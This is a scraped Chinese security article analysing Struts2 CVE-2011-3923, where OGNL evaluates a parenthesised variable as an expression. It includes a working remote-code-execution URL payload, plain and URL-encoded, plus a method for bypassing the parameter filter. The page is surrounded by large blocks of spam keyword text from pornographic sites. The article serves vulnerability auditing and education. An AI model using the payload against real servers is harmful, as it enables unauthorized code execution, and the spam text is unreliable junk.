精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Struts2漏洞分析之Ognl表達式特性引發的新思路

安全 應用安全
在Ognl表達式中,會將被括號“()”包含的變量內容當做Ognl表達式執行。Ognl表達式的這一特性,引發出一種新的攻擊思路。通過將惡意代碼存儲到變量中,然后在調用Ognl表達式的函數中使用這個變量來執行惡意的代碼,從而實現攻擊。

一、摘要

在Ognl表達式中,會將被括號“()”包含的變量內容當做Ognl表達式執行。Ognl表達式的這一特性,引發出一種新的攻擊思路。通過將惡意代碼存儲到變量中,然后在調用Ognl表達式的函數中使用這個變量來執行惡意的代碼,從而實現攻擊。

本文將會以CVE-2011-3923漏洞作為示例,描述這種利用思路的具體過程。但是,本文的內容絕不僅僅局限于這個漏洞,在實際的審計過程中,這種思路可以用來發現很多類似的漏洞。

二、背景介紹與原理分析

這個漏洞和CVE-2010-1870很相似,都是是通過Ognl表達式執行java,來達到遠程代碼執行的效果。我們先來回顧下CVE-2010-1870漏洞,它是攻擊者通過get方法提交Ognl表達式,直接來調用java的靜態方法來實現代碼執行。這個問題爆出來后,struts官方加強了對于用戶提交內容的審核,禁止使用“#”、“\”等特殊字符作為參數提交。

那么這樣我們就沒有辦法遠程執行Ognl表達式了嗎?當然不,Ognl給我們提供了另一種執行它的方法,我們來看下官方文檔中一部分的內容:

For example, this expression

#fact(30H)

looks up the fact variable, and interprets the value of that variable as an OGNL expression using the BigInteger representation of 30 as the rootobject. See below for an example of setting the fact variable with an expression that returns the factorial of its argument. Note that there is an ambiguity in OGNL's syntax between this double evaluation operator and a method call. OGNL resolves this ambiguity by calling anything that looks like a method call, a method call. For example, if the current object had a fact property that held an OGNL factorial expression, you could not use this approach to call it

fact(30H)

because OGNL would interpret this as a call to the fact method. You could force the interpretation you want by surrounding the property reference by parentheses:

(fact)(30H)

Ognl表達式給我們提供了“#fack()”這樣調用上下文對象方法的功能,我們需要留意的是紅色文字,大概的意思如下:如果你想要調用上下文環境中對象的方法,可以使用“(fact)()”這種格式來書寫。

而在測試過程中發現,(one)(two)這種形式的Ognl表達式,會先將one當做另一個Ognl表達式先執行一遍,然后再繼續他后面的工作。這樣的話,如果程序在調用某一可以執行Ognl表達式的函數時,我們通過變量將惡意的表達式傳入,那么,struts所做的那些過濾便成為了一扇“透明的門”。

三、實例模擬與跟蹤

在正常的調用中,我們找到了setValue這個函數,它的作用是根據Ognl表達式對目標進行賦值,在這個過程中Ognl表達式會執行。而struts2中通過在繼承ActionSupport的類中,設置setter和getter方法,可以實現用戶通過get和post方法直接為私有成員變量賦值。這種方法便會用到setValue這個函數。下面我們來搭建一個這樣的類:

package action;

import ognl.Ognl;

import com.opensymphony.xwork2.ActionSupport;

public class HelloWorld extends ActionSupport{

private String tang3;

public void settang3(String tang3) {

this.tang3 = tang3;

}

public String gettang3() {

return tang3;

}

public String execute() throws Exception {

System.out.println(tang3);

return SUCCESS;

}

}

上面的這段代碼只是簡單的實現了接受參數“tang3”,并將它的內容打印到控制臺中的功能。在跟蹤它的過程中發現,用戶提交的參數時,會通過調用com.opensymphony.xwork2.interceptor.ParametersInterceptor這個類中的set Parameters方法來獲取參數,而這個方法會調用setValue函數,代碼如下:

if (acceptableName) {

Object value = entry.getValue();

try {

stack.setValue(name, value); //紅色字體

} catch (RuntimeException e) {

注意紅色字體部分,name參數是Ognl表達式部分,value是被賦值的對象,而之前的CVE-2010-1870漏洞,也是通過這個函數執行的Ognl表達式。下面我們來看下如何結合前面講到的內容來讓這個函數執行我們需要的Java代碼。

按照之前我們所說的Ognl表達式特性,我們應該構造這樣的url:

/helloword.acton?tang3=<OGNL statement>&(tang3)('meh')=1

提交這樣的url后,web server將會做兩件事,第一,將Ognl表達式內容存進了tang3變量中;第二,名為(tang3)('meh')的http參數將會被當做另一個Ognl表達式執行,并且action屬性tang3將會從action中恢復內容,即變成了(<OGNL statement>)(‘meh’)。

因為http參數傳入到變量中會自動進行url解碼,那么我們便可以使用url編碼“#”這樣的特定字符,來繞過正則表達式的過濾。

在構造語句中還需要注意的一點就是,我們要確保tang3屬性中的內容先被執行。所以這里需要一個小技巧,在提交參數時,使用z[(tang3)(‘meh’)]=1這種形式的參數,可以確保tang3變量被首先執行。下面我們構造一條可以彈出計算器的url:

/helloworld.action?tang3=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]=true, @java.lang.Runtime@getRuntime().exec('calc'))(meh)&z[(tang3)('meh')]=1

url編碼后:

/helloworld.action?tang3=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess["allowStaticMethodAccess"]%3dtrue,%[email]20@java.lang.Runtime[/email]@getRuntime%28%29.exec%28%27calc%27%29%29%28meh%29&z[%28tang3%29%28%27meh%27%29]=1

效果如下圖:

[[106190]]

從最下面的紅色框中,我們可以看出,控制臺打印出的tang3變量的內容,就是我們剛才輸入的代碼。

四、總結

1. 這個漏洞的利用方法,存在局限性,目標代碼需要有一個私有成員變量可以直接通過http參數賦值。同時,攻擊者需要知道這個私有成員的名字。不過從代碼審計的角度來看,可以很容易發現這種問題。但是,由于大部分使用struts框架搭建的網站都是閉源的,導致很難進行白盒測試。

2. 這個問題在struts2.3.1.2版本之后便已經修復了,官方補丁的修復原文如下:

The regex pattern inside the ParameterInterceptor was changed to provide a more narrow space of acceptable parameter names.

Furthermore the new setParameter method provided by the value stack will allow no more eval expression inside the param names.

修復方法就是,進一步減少ParameterInterceptor中白名單包含的內容,并且禁止參數名執行正則表達式

3. Ognl表達式的強大,能夠明顯的從struts所爆出的這些漏洞中看出。只要存在調用Ognl表達式的函數,都有可能出現代碼執行問題。我在之前的《Struts2漏洞淺析之Ongl代碼執行分析》一文中,稱findValue為struts中的eval函數,明顯的有些狹隘了。Ognl表達式才稱得上是eval函數,在代碼的編寫的過程中要小心的處理它的表達式。

4. 再次重申在本文開始處所強調的,這篇文章并不僅僅局限于CVE-2011-3923這個漏洞,而且,它已經被修補了。本文的目的是,希望讀者能夠通過這個漏洞,了解到通過括號包裹變量,執行Ognl表達式這個特性,以此為我們在日后的審計增加一個思路。

責任編輯:藍雨淚 來源: 紅黑聯盟
相關推薦

2012-03-08 13:15:10

JavaStrutsOGNL

2009-06-08 16:44:00

struts2 ogn

2013-07-18 15:09:27

2013-07-19 09:36:04

struts2struts2漏洞

2012-12-18 16:18:06

2014-04-25 09:43:54

2017-07-11 09:42:22

漏洞

2022-05-26 08:53:47

Go函數代碼

2016-06-08 10:09:24

2013-07-22 10:45:56

2017-03-15 15:21:59

數據包漏洞攻擊

2013-05-22 10:28:19

2013-07-24 10:35:02

2009-06-08 16:44:00

Struts2文件上傳

2017-07-14 13:51:19

2009-07-29 09:54:34

struts2和str

2013-07-18 15:57:42

2021-05-05 11:31:15

JDK新特性Lambda表達式Java8

2016-04-29 10:58:13

2017-08-25 16:38:05

表達式正則血案
點贊
收藏

51CTO技術棧公眾號

中文字幕不卡在线| 丝袜亚洲另类欧美综合| 亚洲国产成人久久| 国产亚洲欧美在线视频| 成人p站proumb入口| 国内一区二区在线| 欧美性受xxxx白人性爽| 国产一区二区三区视频播放| 亚洲图色一区二区三区| 好吊成人免视频| 亚洲在线视频一区二区| 丰满少妇一级片| 人禽交欧美网站| 久久久伊人日本| 国产成人精品视频免费| 加勒比色老久久爱综合网| 欧美三级一区二区| 少妇高潮喷水在线观看| 国内精品久久久久久野外| 99re亚洲国产精品| 亚洲综合一区二区不卡| 精品无码一区二区三区的天堂| 亚洲**毛片| 色婷婷av久久久久久久| 色爽爽爽爽爽爽爽爽| 国产农村妇女毛片精品| 日韩成人免费电影| 97高清免费视频| 朝桐光av在线| 极品粉嫩美女露脸啪啪| 深夜福利在线观看直播| 紧缚奴在线一区二区三区| 欧美交受高潮1| 免费看特级毛片| 欧美丝袜丝交足nylons172| 欧美精品一区二区在线观看| 性生活一级大片| a成人v在线| 色呦呦一区二区三区| 日本中文字幕亚洲| 欧美人与动牲性行为| 国产精品国产三级国产有无不卡| 91九色国产视频| 青青国产在线视频| 久久一日本道色综合久久| 韩国美女主播一区| 四虎成人精品永久免费av| 欧美精品一线| 欧美人在线观看| 欧美一区免费观看| 亚洲欧美偷拍自拍| 久久久999精品免费| 顶级黑人搡bbw搡bbbb搡| 日韩一区二区三区免费播放| 一道本无吗dⅴd在线播放一区 | 国产精品视频大全| 狠狠人妻久久久久久| 亚洲一区视频| 欧美一级视频免费在线观看| 国产区在线观看视频| 亚洲深夜av| 欧美一级在线播放| 欧美亚洲另类小说| 日本aⅴ亚洲精品中文乱码| 热久久99这里有精品| 日日夜夜狠狠操| 日韩综合在线视频| 国产日韩在线视频| 国产精品嫩草影院桃色| 国产一区二区福利| 国产精品美女久久久久av福利| 久久国产香蕉视频| 日本在线不卡一区| 成人午夜激情网| 午夜美女福利视频| 波多野结衣中文字幕一区 | 99爱视频在线| 中文字幕成在线观看| 在线免费亚洲电影| 三上悠亚在线一区二区| 欧美a级大片在线| 亚洲а∨天堂久久精品9966 | 精品欧美日韩精品| 欧美日韩精品是欧美日韩精品| 国产欧美久久久久| www.8ⅹ8ⅹ羞羞漫画在线看| 色综合咪咪久久| 中文字幕亚洲欧洲| 亚洲超碰在线观看| 精品中文字幕久久久久久| 超碰人人人人人人人| 欧美片第1页综合| 欧洲美女免费图片一区| 中文字幕在线播放av| 国产大片一区二区| 日本在线观看一区二区三区| 国产色在线观看| 欧美日韩美女在线观看| 最新av免费在线观看| 青青视频一区二区| 久久视频这里只有精品| 久久久午夜影院| 韩日欧美一区二区三区| 欧美国产一二三区| 香蕉成人app免费看片| 色综合中文综合网| 国产清纯白嫩初高中在线观看性色| 99er精品视频| 日韩精品在线免费观看视频| 国产美女福利视频| 日韩不卡免费视频| 国产日韩亚洲精品| 麻豆网站在线| 欧美日韩视频免费播放| 亚洲av无码久久精品色欲| 亚洲精品国产精品粉嫩| 欧美俄罗斯乱妇| 一道本无吗一区| 久久在线观看免费| 欧美 日韩 国产在线观看| 日本成人精品| 色妞色视频一区二区三区四区| 欧美色视频一区二区三区在线观看| 欧美日韩久久精品| 欧美综合在线第二页| 亚洲国产精品一| 亚洲色图一区二区三区| 成人观看免费完整观看| 国产色噜噜噜91在线精品| 欧美成人激情视频| 国产一区二区三区视频免费观看| 丁香婷婷深情五月亚洲| 99久久久无码国产精品性色戒| 午夜免费福利网站| 国产日韩在线观看视频| 亚洲一级一级97网| 国内自拍视频在线播放| 不卡一区二区中文字幕| 男人天堂新网址| 超碰国产精品一区二页| 亚洲小视频在线| 日韩精品成人免费观看视频| 99久久国产综合精品麻豆| 久久综合久久久久| 2021年精品国产福利在线| 久久成人这里只有精品| 国产精品污视频| 亚洲视频在线一区| 久久久久无码精品| 欧美+日本+国产+在线a∨观看| 韩国国内大量揄拍精品视频| 亚洲经典一区二区| 亚洲午夜电影网| 欧美69精品久久久久久不卡| 综合色一区二区| 91久久伊人青青碰碰婷婷| a视频在线观看免费| 日韩欧美中文字幕精品| 久久丫精品久久丫| av电影在线观看一区| 高清在线观看免费| 九色精品91| 国产精品人成电影| 黄色网在线免费观看| 日韩三级视频在线观看| 国产亚洲欧美精品久久久久久| 日日摸夜夜添夜夜添国产精品 | 中文精品久久久久人妻不卡| 国产三级精品视频| 一区二区三区入口| 午夜国产一区二区| 99中文字幕| 亚洲啊v在线| 色哟哟入口国产精品| 精品人妻无码一区二区| 午夜电影网亚洲视频| 国产精品一二三区在线观看| 美国毛片一区二区| 伊人再见免费在线观看高清版| 日本一区免费网站| 日韩有码在线视频| 人成网站在线观看| 欧美主播一区二区三区美女| 情侣偷拍对白清晰饥渴难耐| 成人激情免费网站| 日日噜噜夜夜狠狠| 欧美色图首页| 天堂一区二区三区| 99这里只有精品视频| 国产成人精品免高潮在线观看 | www.欧美色图| 国内自拍视频一区| 午夜久久99| 欧美在线日韩精品| 日韩三级久久| 国产精品高潮呻吟久久av无限| 天天色天天操天天射| 欧美视频一区在线| 精品一级少妇久久久久久久| 国产婷婷色一区二区三区| 天天综合成人网| 香蕉久久夜色精品国产| 国产系列第一页| 国产精品嫩模av在线| 成人看片视频| 日韩一区精品| 91黑丝在线观看| 超碰caoporn久久| 亚洲人成电影在线| 亚洲成人黄色片| 欧美日韩日日夜夜| 九九热在线视频播放| 亚洲欧美电影院| 国产在线综合视频| 91论坛在线播放| 日批免费观看视频| 久久国产福利国产秒拍| 免费裸体美女网站| 亚洲看片免费| www.avtt| 亚洲欧美一区在线| 亚洲一区二区三区精品视频| 深爱激情久久| 久久大片网站| 国产精品中文字幕制服诱惑| 亚洲free性xxxx护士白浆| 欧美日韩五区| 国产成人亚洲精品| 中文字幕在线视频久| 韩国福利视频一区| 国产美女一区视频| 欧美黑人狂野猛交老妇| 伊人影院在线视频| 久久伊人色综合| 免费在线看黄| 色琪琪综合男人的天堂aⅴ视频| 国产美女裸体无遮挡免费视频| 亚洲卡通动漫在线| 2014亚洲天堂| 成人免费在线视频观看| 久久精品在线观看视频| 中文字幕精品一区| 中文字幕av久久爽一区| 国产欧美日韩精品a在线观看| 国产又黄又猛的视频| 免费观看日韩电影| 中文久久久久久| 麻豆国产91在线播放| 一级做a免费视频| 国产一区二区三区视频在线播放| 国产欧美日韩网站| 亚洲巨乳在线| 国产无套粉嫩白浆内谢的出处| 亚洲一区二区日韩| 免费成人深夜夜行网站视频| 亚洲成av人片一区二区密柚| 成人一区二区av| 怡红院精品视频在线观看极品| 日本成人黄色| 成人精品亚洲| 日韩第一页在线观看| 91精品国产麻豆国产在线观看| 欧美日韩精品不卡| 自拍亚洲一区| 亚洲精品视频一二三| 婷婷伊人综合| 久久艹国产精品| 亚久久调教视频| 五月天亚洲视频| 国产一区二区电影| 50一60岁老妇女毛片| 久久久久国色av免费看影院| 自拍偷拍你懂的| 亚洲黄色片在线观看| 日本道在线观看| 欧美日韩国产乱码电影| japanese国产| 精品五月天久久| a√资源在线| 久久久久久国产| 美女写真久久影院| 91丝袜美腿美女视频网站| 国产乱人伦精品一区| 日韩精品一区二区三区色偷偷 | 国产一级一片免费播放| 狠狠躁夜夜躁人人躁婷婷91| 中文字幕日韩三级| 精品免费一区二区三区| 成在在线免费视频| 欧美大片第1页| 日本黄色一区| 国产九区一区在线| 久久影视一区| 日韩欧美国产免费| 国产伦精品一区二区三区在线观看| 污污网站免费看| 懂色av中文一区二区三区| 免费看污片网站| 尤物在线观看一区| 国产裸体美女永久免费无遮挡| 欧美在线观看视频一区二区| 亚洲黄色一级大片| 日韩在线观看免费全集电视剧网站 | 日本va欧美va瓶| 国产成人av免费观看| 成人久久久精品乱码一区二区三区| 尤物网站在线看| 久久久精品一品道一区| 亚洲一区 视频| 欧美一区二区视频免费观看| 国产在线视频网址| 2021国产精品视频| 亚洲欧洲国产精品一区| 在线一区亚洲| 日本伊人色综合网| 熟女少妇一区二区三区| 亚洲一区免费观看| av中文字幕免费在线观看| 在线成人激情黄色| 成人影院av| 精品乱子伦一区二区三区| 欧美久久99| 中文字幕在线视频一区二区三区| 国产传媒久久文化传媒| 999精品在线视频| 欧洲一区在线电影| 久青草国产在线| 国外成人在线直播| 波多野结衣在线一区二区 | 性高潮免费视频| 亚洲视频 欧洲视频| 中文在线资源天堂| 亚洲色图综合网| 都市激情亚洲综合| 免费国产一区二区| 亚洲一区欧美激情| 巨胸大乳www视频免费观看| 精品女厕一区二区三区| 欧美在线 | 亚洲| 午夜伦理精品一区| 国产三级精品三级在线观看国产| 水蜜桃亚洲精品| 久久精品一区二区国产| 亚洲乱码国产乱码精品精大量| 国产精品国产三级国产有无不卡 | 久久五月精品中文字幕| 99理论电影网| 欧美一区国产在线| 亚洲精品成人无码毛片| 亚洲一区二区视频| 欧美一区二区三区黄片| 2021国产精品视频| 国产一区国产二区国产三区| 中文字幕第80页| 国产精品污www在线观看| 亚洲一区二区色| 久久久999精品| 大奶在线精品| 虎白女粉嫩尤物福利视频| 国产人伦精品一区二区| 国产精品久久久久毛片| 欧美精品在线视频观看| 国产精品中文字幕制服诱惑| 岳毛多又紧做起爽| 国产三级精品三级在线专区| 国产老女人乱淫免费| 欧美激情精品久久久久| 日本精品影院| 中文久久久久久| 一区二区三区加勒比av| 五月天婷婷激情网| 国产精品一二区| 好吊视频一区二区三区四区| 一级性生活大片| 欧美电影一区二区| 国产夫妻在线播放| 神马影院午夜我不卡| 国产剧情一区二区三区| 五月婷婷亚洲综合| 日韩精品免费一线在线观看| 国产亚洲精品精品国产亚洲综合| 欧美久久久久久久| 九九国产精品视频| 国产无遮挡又黄又爽在线观看| 欧美一区二区在线播放| 女人高潮被爽到呻吟在线观看| 国产精品美女诱惑| 秋霞电影网一区二区| 日日噜噜夜夜狠狠久久波多野| 欧美日韩一区二区三区四区| 欧美xxxx做受欧美88bbw| 欧洲亚洲一区二区三区四区五区| 国产婷婷精品| 少妇视频一区二区| 亚洲精品videossex少妇| 欧美大片网站| 日韩av一二三四区| 亚洲综合清纯丝袜自拍| 欧美女v视频| 国产伦理久久久|